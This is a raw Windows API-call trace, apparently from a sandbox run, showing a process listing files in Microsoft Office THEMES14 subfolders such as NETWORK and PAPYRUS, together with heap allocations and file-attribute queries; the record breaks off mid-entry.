[0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.834] GetLastError () returned 0x12 [0059.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.834] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0059.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0059.835] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fdbb0 [0059.835] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fdbb0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fdbb0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdbb0) returned 1 [0059.835] NtClose (Handle=0x16c) returned 0x0 [0059.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc548 [0059.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.835] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.835] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc650 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2fb0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc758 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2fd0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc860 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2ff0 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc968 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3010 [0059.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fca70 [0059.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.837] GetLastError () returned 0x12 [0059.837] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.837] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.837] GetLastError () returned 0x12 [0059.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fc548) returned 1 [0059.837] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fc650) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0059.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0059.870] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fdbb0 [0059.870] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fdbb0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fdbb0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdbb0) returned 1 [0059.870] NtClose (Handle=0x160) returned 0x0 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc650 [0059.870] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.870] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.870] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc548 [0059.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3030 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fcb78 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3050 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fcc80 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x840) returned 0x9fa458 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd3a8) returned 1 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3070 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fcd88 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3090 [0059.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fce90 [0059.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.872] GetLastError () returned 0x12 [0059.872] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, 